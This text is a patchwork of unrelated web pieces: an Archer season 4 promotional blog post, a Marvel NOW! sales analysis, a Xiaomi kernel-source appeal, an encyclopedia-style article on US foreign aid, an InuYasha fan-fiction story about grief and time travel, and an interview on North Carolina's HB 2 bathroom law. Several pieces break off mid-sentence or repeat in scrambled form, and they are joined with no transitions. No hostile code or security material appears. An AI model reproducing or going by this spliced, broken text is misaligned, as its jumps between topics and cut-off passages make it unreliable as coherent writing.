Check out the junket interviews after the jump! FX must have decided that this new sploosh-tastic poster wasn't enough to properly promote the rapidly approaching fourth season of, so they also decided to subject the rest of the cast of characters to the press rounds on media day in order to spread the word that the premiere is less than a week away. Before getting to the junket interviews, let's take a second to admire the aforementioned and very busy "Quantum of Mediocrity" one-sheet the network has created for the fourth season.The poster does a good job of being inclusive, making sure not to leave any of the important characters out of the ad which also hints at a few of the upcoming story lines. Mallory is rocking the wedding dress, Ray's back in the wheelchair and Archer, Lana and Pam seem to be suggesting a mission under the sea. Last year ISIS went into Space, this year it's time to get wet. Gross. I also have no idea why Cheryl is riding an ostrich (maybe Babou needs a friend?) or what Krieger is up to in that ball of energy but I am excited to find out.Check out the junket interviews after the jump! rest of the cast, characters, whatever, because Sterling, the world's number one secret agent already
Lana (Aisha Tyler)
Malloy (Jessica Walter)
Pam (Amber Nash)
Cyril (Chris Parnell)
Archer Season 4 premieres Thursday, January 17 at 10:00 p.m. ET on FX. Now. Back to those junket interviews. I said that FX subjected theof the cast, characters, whatever, because Sterling, the world's number one secret agent already'sat down' with the press a few days ago and had to field hardball questions about his perfect day. Yeah, really hard-hitting journalists they brought in, I wonder if they're on the network dime? Lana, Mallory, Pam and Cyril are all asked the same question and here are the responses...Lana (Aisha Tyler)Malloy (Jessica Walter)Pam (Amber Nash)Cyril (Chris Parnell)Season 4 premieres Thursday, January 17 at 10:00 p.m. ET on FX. Blended From Around The Web Facebook
Back to topWhen Marvel NOW! was first announced, it was hard not to view it as an attempt for Marvel to capture some of the same magic DC had found with their New 52 line wide relaunch. DC’s sales had skyrocketed, despite a questionable focus on quality which had sent their fans into a frenzy. From the outside looking in, Marvel’s approach seemed more deliberate, better planned, and with a higher focus on delivering high quality stories rather than establishing a new cohesive universe. Now that it’s been six months since the first Marvel NOW! title launched, let’s take a look at how a few key titles have performed.
For purposes of this study, we’ve gathered sales numbers from Comichron for Avengers, Captain America, Thor: God of Thunder, and Iron Man. Included are all Marvel NOW! issues, as well as the same number of issues from that series PRIOR to Marvel NOW! So, with Avengers for example, there have been ten Marvel NOW! issues, which means we also pulled the last ten issues from the prior volume of the series.
In using this data, we’re hoping to capture the impact of the Marvel NOW! relaunch in terms of the increase for issue by issue sales by comparing the pre-relaunch numbers for the most recent period to the post-relaunch numbers for the same length of time.
Interestingly enough, the four titles we looked at broke into natural pairs. Let’s start out with Iron Man and Captain America.
With these two series you can see that, following an expected spike with their new #1 issue, as time has passed the number of issues sold has slowly come back in line with the pre-Marvel NOW! levels. In this case, one could argue that the shift in direction has failed to provide Marvel any substantial gain on an issue to issue basis, though it certainly does not appear to have harmed sales. Luckily for Marvel, this trend does not continue with our next two entries, Avengers and Thor: God of Thunder.
In these cases, sales have spiked and consistently delivered a performance above the pre-Marvel NOW! numbers. Here is where it’s easy to see the benefit in |
OS.
We urge Xiaomi to release kernel sources for the Mi A1 as quickly as possible to enable the device to achieve its full potential in terms of development. Moreover, we urge the company to change its philosophy towards kernel sources, as it would be for the benefit of all parties involved. The deadline for timely release of kernel sources is running out; we hope to see the situation improve in the future.United States foreign aid is aid given by the United States government to other governments. It does not include money from private charitable organizations based in the United States, or remittances sent between family members. There are two broad categories: military aid and economic assistance.[1] The Congressional Research Service divides it into five categories: bilateral development aid, economic assistance, humanitarian aid, multilateral economic contributions, and military aid.[2]
Foreign aid recipients include developing countries, countries of strategic importance to the United States, and countries recovering from war. The government channels about half of its economic assistance through a specialized agency, the United States Agency for International Development (USAID). Government-sponsored foreign aid began a systematic fashion after World War II; there were numerous programs of which the largest were the Marshall Plan of 1948 and the Mutual Security Act of 1951-61.
Military aid provided to foreign countries varies mostly on what natural resources the foreign country has to offer.[3]
Foreign aid is generally unpopular with the general public, with a 2017 poll finding 57% favor a cut and 6% who want increased aid.[4] On the other hand, foreign aid has bipartisan support in Congress,[5] and most Americans overestimate foreign aid as a share of the total federal budget. In the past, less than 1% of the national budget went to foreign assistance.[6][7] As of fiscal year 2017, foreign aid between the U.S. State Department and USAID totaled $50.1 billion, or just over 1% of the budget.[8][not in citation given]
Overview [ edit ]
In fiscal year 2014, the U.S. government allocated the following amounts for aid:
Total economic and military assistance: $43.10 billion
Total military assistance: $10.57 billion Total economic assistance: $32.53 billion of which USAID Implemented: $17.82 billion[9]
Top 25 Recipient Countries of U.S. Foreign Aid FY 2013 Reported in $US millions, Obligations [10] Country Economic and Military Assistance FY 2013, $US millions Aid received per person recipient FY2013, $US Economic Assistance FY 2013, $US millions Military Assistance FY2013, $US millions Afghanistan 4533.51 148 2653.93 1879.58 Israel* 2961.04 367 17.81 2943.23 Egypt 1566.24 19 330.6 1235.6 Jordan 1211.83 188 879.64 332.19 West Bank/Gaza 1007.73 370 Ethiopia 686.53 7 685.19 1.34 South Sudan 618.74 55 598.79 19.96 Malawi 571.18 35 570.91 0.27 Uganda 541.93 14 538.3 3.62 South Africa 526.19 10 523.86 2.32 Nigeria 518.84 3 509.41 9.43 Russia 465.16 3 445.07 20.08 Iraq 444.81 13 382.7 62.11 Tanzania 430.66 9 427.82 2.84 Mexico 419.94 3 348.72 71.21 Congo (Kinshasa) 379.24 6 366.73 12.52 Haiti 378.77 37 377.04 1.73 Lebanon 376.41 84 286.03 90.38 Somalia 367.18 35 188 179.18 Zambia 310.8 22 310.26 0.54 Sudan (former)* 290.05 8 290.05
Notes:
Sudan (former) refers to the geographic area of Sudan, based on the area that was Sudan before the creation of South Sudan
Except special considerations to countries such as Israel and Egypt, the direction of US foreign aid flow reflects the government efforts in alleviating poverty, promoting democracy and encouraging economic openness of the recipient countries. [ citation needed ]
As of 2016 the US has undertook a ten-year pledge to provide $3.9B per year until 2026.[citation needed]
History [ edit ]
World War I [ edit ]
During World War One, the Committee for Relief in Belgium (CRB), which sent food to the hungry in that war-torn country, received $387 million from the U.S. government (as well as $314 million from the British and French governments and about $200 million from non-governmental sources). These government monies were given in the form of loans, but a considerable portion of those loans was forgiven.[11]
After the war, the American Relief Administration, directed by Herbert Hoover who had also been prominent in the CRB, continued food distribution to war-devastated European countries. It also distributed food and combated typhus in Russia during 1921-23. The U.S. Congress appropriated $20 million for the ARA under the Russian Famine Relief Act of 1921.
World War II [ edit ]
Levels of United States aid increased greatly during World War Two, mainly on account of the Lend-lease program. United States government aid remained high in the decade after the war because of contributions to European reconstruction, and competition for influence versus the Communist powers in the first years of the Cold War. By 1960, the annual aid amount had receded to about half of what it was in the early post-war years, and, in inflation-adjusted terms, it has remained at that level—with some fluctuations—until the present.[12]
The Lend-lease program, which began in 1941 (before the U.S. entrance in the war) was an arrangement whereby the United States sent large amounts of war materials and other supplies to nations whose defense was considered vital to the defense of the United States. It began with the passage by Congress of the Lend-lease act (PL 77-11) on 11 March 1941.[13] Initially, the main recipient was Great Britain; the Soviet Union began receiving supplies (paid for in gold) in June 1941 outside of Lend-lease, and was included in the Lend-lease agreement in November 1941. By the end of the war, most of the Allied countries had been declared eligible for Lend-lease aid, although not all received it. By the time the program was ended by President Truman in August 1945, more than $50 billion worth of supplies had been disbursed, of which the Commonwealth countries received $31 billion and the Soviet Union $11 billion. Although formally the material was loaned, in the end only partial repayment was demanded.
A second wartime aid program, the United Nations Relief and Rehabilitation Administration (UNRRA), was founded in November 1943, by 44 Allied governments, for the purpose of assisting and resettling displaced victims of the war.[14] Its initial focus was on assisting people in areas the Allies had captured from the Axis powers: distributing food, clothing and other essentials, and helping with medical care and sanitation. Later it also assisted in the resumption of agriculture and industry. Each of the 44 signatories was supposed to contribute one percent of its national income.[15] The chief beneficiaries were China, Czechoslovakia, Greece, Italy, Poland, the Ukrainian SSR and Yugoslavia. UNRRA returned about 7 million displaced people to their countries of origin and provided refugee camps for about one million who were unwilling to be repatriated. UNRRA ceased operations in Europe in mid-1947;[16] some of its activities in Asia continued under other auspices until early 1949. In the end 52 countries had contributed as donors. Contributions from governments and private organizations during the four years of the program totaled over $3.8 billion; more than half of that was from the United States.
Cold War [ edit ]
After the war, the United States began giving large amounts of aid to Greece and Turkey under the Truman doctrine. Both countries were experiencing civil strife between communist and anti-communist factions, and the President and his advisors feared that their efforts to keep European countries from adopting communism might be about to suffer a serious setback. In December 1946, the Prime Minister of Greece visited Washington and requested additional United States aid. Truman promulgated his containment doctrine in early 1947, a major component of which was to be aid to the world's poor countries in order to blunt the appeals of radicalism to their hungry peoples and to bolster their anti-communist political elements. In May 1947 the U.S. government granted Greece $300 million in military and economic aid. Turkey received $100 million. The U.S. government gave Greece $362 million in 1949, and U.S. aid to Greece generally remained over $100 million annually until 1998.[17]
The most well-known, and largest, United States aid program in the immediate post-war years was the European Recovery Program (ERP). More often known as the Marshall Plan, it was the creation of George Kennan, William Clayton, and others at the U.S. State Department under Secretary of State George Marshall. Publicly suggested by Marshall in June 1947, and put into action about a year later, the Plan was essentially an extension of the Greece–Turkey aid strategy to the rest of Europe. The U.S. administration considered the stability of the existing governments in Western Europe vital to its own interests. On 3 April 1948, President Truman signed the Economic Cooperation Act, establishing the Economic Cooperation Administration (ECA) to administer the program, and actual disbursements got underway. The focus was on promoting production, stabilizing currencies, and promoting international trade. To be eligible for the aid, a country had to sign an agreement with the United States government committing itself to the Act's purposes. The Communist countries were formally invited to participate in the Plan although Secretary Marshall thought it unlikely that they would accept and they did in fact decline the aid. Also in 1948, the United States and the recipient countries created the Organisation for European Economic Cooperation (OEEC – it became the OECD in 1961) to coordinate the use of the aid. A large portion of the money given was used to purchase goods from the United States, and the ships used to transport the goods had to be of U.S. nationality. Until after the Korean War, military aid was not part of the plan.[18] The Marshall Plan ended in December 1951 and its functions were transferred to the Mutual Security Administration.[19] The United States government gave out about $12.5 billion under the Plan during its three-and-a-half year existence. The countries receiving the most were Great Britain ($3.3 billion), France ($2.3 billion) and West Germany ($1.4 billion).[20]
From 1945 to 1953 – U.S. provides grants and credits amounting to $5.9 billion to Asian countries, especially China/Taiwan ($1.051 billion), India ($255 million), Indonesia ($215 million), Japan ($2.44 billion), South Korea ($894 million), Pakistan ($98 million) and the Philippines ($803 million). In addition, another $282 million went to Israel and $196 million to the rest of the Middle East. The main category was economic aid, but some military aid was provided.[21] All this aid was separate from the Marshall Plan.[22]
USAID [ edit ]
Congress passed the Foreign Assistance Act on September 4, 1961, reorganizing U.S. foreign assistance programs and separating military and non-military aid. The Act man which was established by President Kennedy two months later. USAID became the first U.S. foreign assistance organization whose primary focus was long-term economic and social development.
2000s [ edit ]
U.S. Foreign Aid by Implementing Agency FY2009-FY2013, Reported in $US millions, Obligations [23] Implementing Agency 2009 2010 2011 2012 2013 2014 African Development Foundation 35.32 30.86 33.91 29.64 27.84 31.78 Department of Agriculture 244.23 545.52 329.56 369.45 334.82 248.86 Department of Commerce 9.26 9.87 6.23 15.65 18.33 9.11 Department of Defense 14,527.79 15,274.05 18,821.63 17,666.48 8,250.63 10,552.90 Department of Energy 749.51 1,036.85 1,426.41 691.14 972.90 670.21 Department of Health and Human Services 2,713.37 2,717.16 2,258.21 2,281.97 3,079.29 2,695.37 Department of Homeland Security 8.04 6.08 4.09 5.15 0.00 2.67 Department of Justice 43.60 36.46 20.86 18.72 14.06 13.85 Department of Labor 53.78 73.47 52.75 12.16 30.55 17.00 Department of State 6,674.46 6,477.13 6,023.83 6,089.06 5,390.79 6,824.22 Department of the Air Force 4.90 6.43 18.51 0.00 0.06 3.62 Department of the Army 935.81 774.72 420.50 137.53 37.02 15.18 Department of the Interior 1,087.52 225.67 328.07 225.00 216.95 292.18 Department of the Navy 26.57 0.26 17.84 6.81 4.67 Department of the Treasury 1,637.74 2,245.32 2,033.89 2,834.18 2,673.16 2,838.22 Department of Transportation 2.17 3.84 2.87 7.61 3.95 0.27 Environmental Protection Agency 24.67 40.59 22.19 50.62 21.92 20.44 Federal Trade Commission 0.61 0.73 0.33 0.21 0.00 Inter-American Foundation 24.96 25.84 22.96 25.44 26.20 27.79 Millennium Challenge Corporation 1,016.78 873.67 581.00 413.02 1,115.55 567.34 Open World Leadership Center 15.50 12.82 0.00 0.00 0.00 Peace Corps 350.67 389.61 419.09 401.34 386.75 405.60 Trade and Development Agency 42.78 49.88 41.17 44.14 40.64 44.34 U.S. Agency for International Development 16,191.31 17,344.78 15,644.51 18,232.36 17,461.78 17,822.82
President Obama announced to the UN Millennium Development Goals summit in September 2010 that the United States was changing its policy towards foreign aid. The President said the country would focus more on effectiveness, and make sure donated food, medicine, and money help countries get to the point where they no longer require such aid. Infrastructure set up for the President's Emergency Plan for AIDS Relief would be used to build capacity in local health care systems to improve maternal and child health, and also fight tropical diseases. The new policy would increase the profile and participation of the United States Agency for International Development (USAID), which would coordinate more directly with the National Security Council and Secretary of State Hillary Clinton.[24] Some observers criticized the link with national security and foreign policy as unhelpful for the impoverished, and others lamented the attempted streamlining as only adding more bureaucracy.[24] Foreign aid is a highly partisan issue in the United States, with liberals, on average, supporting government-funded foreign aid much more than conservatives do,[25] who tend to prefer to provide foreign aid privately.
Public Opinion [ edit ]
Interviews with 1,012 adult Americans were conducted by telephone by Opinion Research Corporation in January 2011: Published by CNN, the response was that 81% felt that reducing aid to foreign countries was a good way to reduce the federal budget deficit, while 18% thought aid was more important than reducing deficit.[26] Thomas Pogge, Director of the Global Justice Program and Leitner Professor of Philosophy and International Affairs at Yale University, has predicted that public opinion will not change even while the hardships suffered by poor people are rising, partly as a result of the Global Financial Crisis.[27] Some claim the U.S. is helping corrupt governments with the aid.
Worldwide opinion of the United States improves with contributions to developing countries.[28]
Public knowledge of aid [ edit ]
Several polls have been done assessing the knowledge of the US Public in regards to how much they know about the government’s foreign aid spending. A poll conducted by World Public Opinion in 2010 found that the average estimate for how much of the government’s budget is spent on foreign aid was 25 percent.[29] The average amount proposed by the public was 10 percent of the federal government’s budget be used on foreign aid.[29] In actuality, less than 1 percent of the US federal budget goes towards foreign aid.[29] Less than 19 percent of respondents thought that the percent of the budget that goes towards foreign aid was less than 5 percent.[29] Steven Kull, director of PIPA, relates this overestimation towards an increase in hearing about foreign aid efforts during the Obama administration, but estimates of foreign aid have always been high.[29]
A poll conducted in 2013 by Research Pew Center found that the majority of Americans wanted to either maintain or increase spending on all US government initiatives except foreign aid. This is attributed, by Alice C. Hu, to a gross misconception of how much of the federal budget is actually spent on foreign aid.[30]
Opinions change [ edit ]
A study by the Washington Post from 2017 shows that Americans are easily persuaded in regards to their opinions on US foreign aid.[31] The percentage of people who were provided no argument regarding foreign aid and though the US spends too much on it was 67 percent.[31] The percentage of people who were provided a positive argument for foreign aid and thought the US spent too much on it was 28 percent.[31] The percentage of people who were provided a negative argument against foreign aid and thought that the US spends too much on it was 88 percent.[31] This shows that the US public is perceptive to changing their beliefs about US foreign aid based on the information presented.
Because the US public is perceptive to information regarding public aid, Steven Kull, Director of the Program on International Policy Attitudes, laid out steps to preserve or create a positive outlook on US foreign aid.[32]
Understand the attacks on foreign aid. Do not frame questions about public opinion in terms of priorities because people are likely to prioritize domestic issues. Emphasize that only 1 percent of the federal budget goes towards foreign aid, as the Clinton administration did in the 1990s. Americans feel that the US does more than its fair share on the world stage, so differentiate between foreign aid and military spending. Note that other countries, apart of multilateral frameworks, are doing their part in contributing to foreign aid efforts. Discuss that NGOs get a large sum of foreign aid to counter claims that aid only leads to further governmental corruption. Point out that foreign aid is a safe way to improve US relations with other nation-states, therefore promoting self-interest.[32]
Recipients of foreign aid [ edit ]
A study by Andy Baker, a political scientist at the University of Colorado at Boulder, found that Americans are more likely to support foreign aid going to an African country than they are to support foreign aid going to an Eastern European country.[33] Respondents averaged wanting to cut aid going to those of European descent by 40 percent, while respondents averaged wanting to cut aid going to those of African descent by only 11 percent. Baker attributes this to a paternalistic view Americans have of themselves over those of African descent.[33]
Spend Amount and destination [ edit ]
Because of the size of the US federal budget, the 0.7 percent of the budget put towards foreign aid totaled 23 billion dollars in 2012.[30] Most US foreign aid does not go to other governments due to skepticism about corruption in other countries. There is a fear amongst the American people that foreign aid is funneled and used to increase the personal wealth of corrupt government leaders of foreign countries. However, about 85 percent of foreign aid goes to non-governmental organizations (NGOs) and US-government contractors, meaning that most of foreign aid is not being given directly to foreign governments.[30]
See also [ edit ]
General:
References [ edit ]
Further reading [ edit ]
USG sources of data on United States aid are:
Non-USG sources of data on United States aid are:
Publications of the Development Assistance Committee (DAC) of the Organisation for Economic Co-operation and Development (OECD). The OECD offers large amounts of data on line. Complete access is by subscription, but useful amounts are made available free. The DAC does not include private aid in its main category, "Official Development Assistance (ODA)", but reports some of it under other headings.
of it under other headings. AidData provides free access to a searchable database of foreign aid activities by donor, recipient, sector, and other criteria. Using the AidData database, it is possible to search for U.S. foreign aid activities financed between 1973 and 2008, and download them as a CSV file.
Congressional Research Service. Foreign Aid: An Introductory Overview of U.S. Programs and Policy (2011) 37 pp online
(2011) 37 pp online Guess, George M. The Politics of United States Foreign Aid (2013)
(2013) Lancaster, Carol. Foreign aid: Diplomacy, development, domestic politics (University of Chicago Press, 2008)
(University of Chicago Press, 2008) Morgner, Aurelius. "The American Foreign Aid Program: Costs, Accomplishments, Alternatives?," Review of Politics (1967) 29#1 pp. 65–75 in JSTOR
Bristol, Nellie. 2010. "US Foreign Aid Restructuring: is it "a very big deal?" From World Report. Accessed 4/19/2010.This story has been a very long time in the making and I'm deeply attached to it. I began writing it to the challenge theme "Insatiable," struggled with it endlessly, and finally found the inspiration I needed to finish it right for the theme "Time." I'm very proud of it and I hope you all enjoy.
Warnings: Contains heavy angst and character death (...sort of). But I consider to have a happy ending (at least for our couple). Also, potentially it might come across as having semi-religious undertones, but it's just a story. Interpret things as you will.
The stained glass windows were dark; even with the moon bright and full outside, only a shadowy, bluish light managed to get through them. The dark didn't bother Sesshoumaru, though, as he shut the heavy oak doors behind him. His eyes shone like pale lanterns in the gloom of the church.
He had never been in a church before, but he unerringly moved straight down the aisle, past the rows of benches, and stepped into the confessional. He shut the door behind him again.
There was a small bench in the chamber, but he decided to remain standing.
The screen before him was dark and empty, like looking into the eyes of a skull. There was no priest behind it; which is precisely why Sesshoumaru had chosen to break into a church in the dead of night, instead of attending during the day, when the humans would be present. Sesshoumaru saw no need to involve a priest in this business. He would not speak through a human intermediate. He would speak directly to the source, in its own house.
"To whom it may concern," he began, in a brisk voice, "be you god, or gods, or something else entirely." His mouth twisted in a tiny smile. "The 'powers that be,' as Kagome always liked to put it." The smile turned bitter and then vanished. "I am not here to confess. I have a great many sins, but I am sure you are aware of them, and there are far too many to list in just one night—or even a year of nights. No. Think of this as merely a courtesy call."
He stared for a moment at the empty screen, his gold eyes searching the darkness. Folding his hands in front of him, he continued. "I am not a good man. Or at least, I have not always been one," he said. "Not before her. But I have been honorable. I have killed only when there was reason, and I have given respect to those who deserve it." He ran his hand over the dark cherry wood. His voice dropped to a quiet murmur, like he was speaking half to himself. "And, after today, I will have kept all my promises."
The demon lord hung his head and fell silent, studying the dark before him. The church's vaulted ceiling, which should have amplified sound, seemed to dampen it. Whispers of memory ghosted around him in perfect silence.
"I have been given an entire lifetime with her," he said finally, straightening. "Her lifetime. Not mine." The demon drew a slow, shuddering breath. "Her beautiful, brief lifetime. And I am grateful for it. I am. Out of all my many centuries, all my endless lifetimes, my years with her are the only ones to ever have brought me joy."
His claws clicked against the wood paneling. "But I am a selfish man," he added in a low voice. "I know I have done nothing to deserve those years. I know, also, that there are many who would say I should take my happy memories and be happy with them. And I do not care." The crack sliced through the empty church like a sharpened blade; the wood was splintering beneath his claws.
"It is not enough." His claws dug deeper, fingers clenching and gouging. His voice dropped to a raw hiss. "It is not enough."
The words seemed to cut loose an invisible tether and he began to pace the chamber like a caged wolf. His eyes flashed red in the dark; a snarl halfway escaped his throat.
The words echoed around him and inside him and through him, deafening. The words burned him and drowned him.
They were the same words he had said, once before, so very long ago, at a woman's deathbed. On the day that he made his promise.
She had been old, then, so old for a human—but so young. So very young. She wasn't even a century old and her body had crippled and withered around her, trapping her vibrant, fiery heart inside it. It was inconceivable to him. He could not understand how it was that her spirit had stayed young and the rest of her hadn't, while his body hadn't aged a day but his heart was suddenly as old as the mountains, old as dust, old as a dying sun.
Earlier that day she had died in her sleep, in their bed, beside him.
Sesshoumaru awoke the moment her heart stopped. Somehow, he was already howling, and he howled as he drew his father's sword, howled as he ran it through her chest, howled on and on and on as she gasped to life. He did not stop until she held him still with leathery hands and kissed him.
He returned it with the fervor of a dying man.
He had brushed kisses across every inch of her. Pressed his ear to her naked chest and moaned at the sound of her beating heart. Made love to her old woman's body, tenderly and slowly, with an exquisite gentleness that none save her would ever know he had.
And then, together, they had waited for the end.
The sword could make her heart start but it couldn't make it young again. It was made for reversing death, not time. And even death, it could only cheat once.
The entire time he never let her go; never took his eyes off her. She was so beautiful. She seemed to grow more and more beautiful with every day, with each passing moment. It awed him. He could see her pulse flutter under her pale papery skin and he could hear every raspy breath drag through her lungs, and it was so achingly, wretchedly beautiful.
He tried to tell her this. The words tumbled out of his mouth, halting and desperate.
It made her smile, which made him cry.
He wanted to beg her to let him take this journey with her, but she had made him promise, many years before, that when her time came he would take no action against himself. Even though he thought that she might now relent, he would not ask, for even if she did he could not do it: He would not break a promise to her. Ever.
"Shush," she said to him, brushing the wetness off his face. "I'm not afraid. Really." A weathered smile. "I married the great and terrible Lord of the West. Nothing can scare me."
Kagome was always doing that. Making jokes. Trying to find ways to lighten his thoughts, keep him afloat. "I'm so lucky," she would always joke when they elicited stares in some village, "all the other old ladies are jealous that I've got such a hottie with me." Conspiratorial wink. "Sometimes I don't know which of us is robbing the cradle."
He loved her terrible sense of humor.
Her smile slowly faded. "Please don't be sad." She held his face with frail hands. "That's a stupid thing to ask, I know, but I…please. I can't handle this if you're sad."
He saw the beginnings of tears in her eyes and realized the same was true of himself, so he gathered her to him tighter and rested his chin on her head so neither of them would see each other cry.
"I have only one regret," she murmured, and his neck grew wet where she burrowed her face into it. "That I'm leaving you all alone. I'm so sorry, Sesshoumaru. I'm so, so sorry."
Sesshoumaru stiffened and immediately held her by the shoulders at arms-length, looking steadily into her eyes. "Do not apologize."
She smiled sadly. "But dying is so easy. It's putting you through this that hurts." She closed her eyes. "I'm sorry that—"
"No," he repeated, sterner. She was not allowed to apologize for things she couldn't help. Not now. No. "You will not feel sorry."
She gave him the same affectionate, exasperated look she had been giving him for the last sixty odd years. It didn't matter that there were wrinkles now that there weren't before; it was the same one.
He loved that look. He loved that look so much it hurt.
"Just because you say something doesn't make it so," she said quietly.
Sesshoumaru frowned. "Yes it does."
Then she laughed, and he was so entranced he couldn't speak anymore. So he just held her.
It was hours before he broke the silence and spoke again.
"I will find you in the future."
The old woman in his arms had been half-dozing but she snapped awake at once, clutching at him.
"Sesshoumaru, no. You can't. We've been through this. If you meet me in the future and change things, then none of this will happen." She held his face again, pleading with her eyes for him to understand. "I don't want to undo what we have had here together. And if you change things…there will be paradox. Chaos. You will break time."
"This Sesshoumaru will not allow anything to be undone. Nor will I allow paradox."
She shook her head. "There would be too many overlapping timelines. You would have to bend the laws of reality."
"Then I will bend them."
Kagome was quiet for a long time. "Sesshoumaru," she said finally, in a low, gentle voice, "even if it worked—even if you didn't cause paradox and were to live with me in the future; even if I somehow remembered all this—I would still grow old and die again. You would have two lifetimes with me instead of one, but it will be the same in the end. Would it really be enough?"
"No. It is not enough." He shut his eyes, pained. "Two lifetimes is not enough. Ten lifetimes is not enough. Nothing less than forever will be enough." His eyes flashed red when he opened them. "When I find you, I will not allow time's touch to harm you again." And then: "This I promise you."
Kagome went very still at those words.
"Don't promise the impossible, Sesshoumaru," she whispered.
"This Sesshoumaru will do all these things," he repeated fervently. "This I vow."
Kagome stared at him, searching his eyes long and hard. And then she gave a small, sharp nod.
Saying something didn't make it so, but when he made a promise to her…it did. It became a truth, a fact. It was as though it were already done; reality just hadn't caught up with the changes. Yet.
Because one way or another, she knew, it would be done. Even if he had to take apart heaven and earth to do it.
"I lied," she confessed quietly after a minute. She rested her head against his chest. "I was just a little afraid. Only a little, of course."
His eyes glowed warmly.
"Of course."
She curled into his embrace. "But I'm not any more."
"Good."
She soon fell asleep against him. Breathing shallowly.
Not long after that, time caught up to his little time traveler at last.
Sesshoumaru buried her inside a white pearl, which he put inside his own eye, so that even in death no one could harm her. The left eye—the same side his severed arm had been on—to symbolize that a part of him was now missing. That he was no longer whole.
And he carried her inside him through the long, long centuries. Drowning in the memories of a single perfect lifetime that was now over.
And for many of those years, he was mad.
His need for her was something unquenchable. Insatiable. Not one ember in his fire for her had died, not in five hundred years—if anything it had grown hotter, an inferno that blazed through him. Consumed him. It was a wildfire. A white-hot sun burning under his skin.
There was only one thread of sanity strung through his madness:
He had a promise to keep.
And once he did, he could hold her again. Touch her again. And she would be his, forever.
He knew to get her back he would have to defy the laws of reality. If not rewrite them entirely. But reality had it coming anyway, for having let her die in the first place.
And as for time?
He would make time give her back, and then, he would never let it near her again. If it got destroyed a little in the process then so be it. Time was his enemy. And Sesshoumaru took great, great pleasure in beheading his enemies.
So he spent his centuries hunting for a way to make the impossible possible. Planning. Preparing.
Waiting for just the right moment.
And here he was.
Sesshoumaru stared at the demolished wall, his acid hissing loudly in the silence of the church as the fragments from the hole he made began to dissolve. The sound brought him out of his memories and he shook his head, his thoughts returning to the present. To his current conversation. Slowly he smiled.
"There is another possibility that never occurred to Kagome," he continued at last. "That I am meant to do this. That this was supposed to happen all along." He shrugged his shoulders slightly. "But regardless of whether or not I am meant to, I will. As I said before, this is a courtesy call. I am not here to ask permission. I am not here to lay blame, in the way that mortals do. I am merely here to apologize for what I am about to do," he said. His lips turned up in a slow, wry smile. "Though I am not sorry."
He paused. Then gazed evenly into the screen. "Understand that this isn't personal. I am not displeased with Creation as it is; on the contrary, it is simply that I am especially pleased with one creation in particular. But I am a fair man. If you do not approve of what is about to happen, I give you the chance now to strike me down. Though I warn you to not be surprised when I strike back. I will take your silence as approval."
The empty church was unresponsive.
Sesshoumaru smiled a dark smile. "Good. I'm glad you see things my way."
The demon reached into his coat. Withdrew from it a small jewel that gave off a faint pink glow, casting the dark confessional in rosy hues.
The same jewel that, five hundred years ago, he and the miko had finished together. The same jewel they had used to destroy Naraku; the one that had then vanished forever, its magic spent.
The same jewel that, earlier that day, a team of surgeons had removed from the side of a young Kagome. The jewel she believed to be a benign tumor. The one he had built a hospital, and gotten a medical license, and taken up practice as the Higurashi family doctor in order to get.
His hands were trembling.
"My father's greatest achievement was to cheat death. For her, I shall |
’s now the law, that you must go into a women’s bathroom. What are people saying to you?
PAYTON McGARRY: Well, quite frankly, I haven’t used a women’s room since I was 18 years old and two or three months on hormones. But I remember experiences in high school where I would walk into a women’s restroom full of freshman and sophomore girls, and I would be screamed at, told to get out. I’d be called a predator. I had the SRO called on me one time. And it became such a problem that I had to go speak with a counselor and get approved to use faculty bathrooms. But that’s not the real problem here. The real problem is that I could be denied access to programs. I could be denied access to housing. I could be denied employment. You know, what kind of life effect is this going to have on me, past just using bathrooms?
AMY GOODMAN: So, Payton, how are people organizing on your campus at the University of North Carolina, Greensboro?
PAYTON McGARRY: You mean in support of the lawsuit?
AMY GOODMAN: Well, yes, both for and against. Do you find you’re getting much support?
PAYTON McGARRY: I have gotten nothing but overwhelming support from my campus. Several administrators have emailed me, saying, “If there’s anything I can do, if there’s anything you need, let me know.” I’ve been approached by many students who tell me that they are extremely proud of what I’m doing. All of my professors have had nothing but gratitude, and they’re very thankful that somebody is standing up for the rights of an already marginalized group in North Carolina.
AMY GOODMAN: So, Chase Strangio, what do you tell trans people to do right now? You’re a lawyer. You’re with the ACLU. Yes, you have—you’re part of this lawsuit against the state. But what should Payton do? What’s your advice?
CHASE STRANGIO: I mean, I think, first and foremost, I tell Payton and other people how courageous they are for standing up and living their truth and continuing to tell stories. And we believe that this law is unconstitutional and that it violates at least 12 federal laws. And so, our position is that, you know, of course, first and foremost, trans people should do what is safest for them, because it doesn’t matter to some people that a law may be unconstitutional, so people should act in the safest manner for their safety. But at the same time, we believe that people should go about living their lives, because, you know, it is already illegal to discriminate in employment under federal law, it is already illegal to discriminate in housing against trans people under federal law, all these prohibitions on sex discrimination. So, even though there are no explicit protections and even though North Carolina is trying to take away rights from LGBT people, federal law and the Constitution continues to protect us, and we will continue to fight for people in all of the different circumstances of their lives.
AMY GOODMAN: Would a police officer have a right to say, if you were going into the men’s bathroom, “Pull your pants down”?
CHASE STRANGIO: I mean, you know, I would think not. But again, we know that the police do many things that they are not entitled by the Constitution to do. And I think one of the things that is concerning about this law is that it authorizes even worse behavior where we know there is bad behavior and bad actors already when it comes to trans people. So, it is concerning. Do we want a society where people are forced to undergo genital inspections or have to carry their birth certificates around, or if you don’t look feminine enough or masculine enough, you’re going to have to prove what your body characteristics are? I don’t think we want that, and I don’t think lawmakers are thinking this through.
AMY GOODMAN: On Monday, another one of the co-plaintiffs in the ACLU lawsuit, transgender rights activist Joaquín Carcaño, spoke out against HB 2.
JOAQUÍN CARCAÑO: Yes, I’m a transgender man, but I am a man. My family, my friends, my co-workers and many more in the state affirm my male identity. That is not something that can be stripped away by a bill such as this. But what has been attacked is a basic right, a right to feel protected and safe. As a male, I use the men’s restroom, as I should. And through this bill, I have been denied a fundamental right that impacts me and many more in the state multiple times a day in our place of work and daily life.
AMY GOODMAN: So that’s transgender rights activist Joaquín Carcaño speaking out against HB 2. You represent him, Chase Strangio. What’s his story?
CHASE STRANGIO: So, Joaquín, like Payton, is a plaintiff in our lawsuit against—challenging the constitutionality of HB 2. And he is a transgender man. He works at the University of North Carolina at Chapel Hill in the HIV services program, actually works on behalf of the transgender community. And, you know, he’s a man. He has been using the men’s restroom for years. And this law is now all of a sudden telling him, like it’s telling Payton, that he has to use the women’s restroom. So he’s fighting back as part of this lawsuit and also part of the public conversation in which all trans folks are standing up, where they’re able, to say, “This is who we are. We are not scary. There is no public threat to anybody by allowing us to exist in public life.”
